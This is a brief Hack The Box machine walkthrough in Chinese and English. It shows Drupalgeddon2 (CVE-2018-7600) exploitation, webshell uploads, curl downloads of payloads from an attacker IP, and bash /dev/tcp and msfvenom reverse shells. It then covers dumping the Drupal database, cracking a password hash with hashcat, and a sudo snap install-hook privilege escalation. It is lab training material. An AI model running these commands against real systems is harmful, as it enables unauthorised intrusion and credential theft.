- URL : https://app.hackthebox.eu/machines/323
- IP : 10.129.216.90
Recon
- nmapAutomator.sh -H 10.129.216.90 -t recon80
- 22


Exploit
https://github.com/pimps/CVE-2018-7600
Webshell
python3 drupa7-CVE-2018-7600.py http://10.129.216.90/ -c "echo ' s.php "
- 確認電腦裡有 curl
下載 reverse shell- curl http://10.10.16.35/s_HTB -o s - 但發現戳不回來傳 b374k- http://10.129.216.90/s.php?A=curl%20http://10.10.16.35/b374k.php%20-o%20s.php
- 戳 reverse shell

- 發現權限不足Try msf shell-
msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.10.16.35 LPORT=7878 -f elf > shell1
給權限- 
- 還是沒權限試試看如果連 80 port-
bash -c 'bash -i >& /dev/tcp/10.10.16.35/80 0>&1' - 成功
提權
- 收 Reverse shell
載豌豆-
發現一些密碼- 

- drupal-6.user-password-token.database.php
spawn- perl -e 'exec "/bin/bash";'dump mysql-mysqldump -u drupaluser -h localhost -p drupal > a.sql找到一組 hash-
確認使用者名稱-
爆破 hash- hashcat -m 7900 hash.txt /opt/rockyou.txt
取得帳密- brucetherealadminbooboo切換使用者-
提權
- 直接用 SSH 登入


- 發現可以用 sudo snap本地-
gem install fpm - https://gtfobins.github.io/gtfobins/snap/#sudo照做提權-


COMMAND="bash -c 'bash -i >& /dev/tcp/10.10.16.35/80 0>&1'"
cd $(mktemp -d)
mkdir -p meta/hooks
printf '#!/bin/sh\n%s; false' "$COMMAND" >meta/hooks/install
chmod +x meta/hooks/install
fpm -n xxxx -s dir -t snap -a all meta
- 傳上去
收 Reverse shell-
取得 Root- 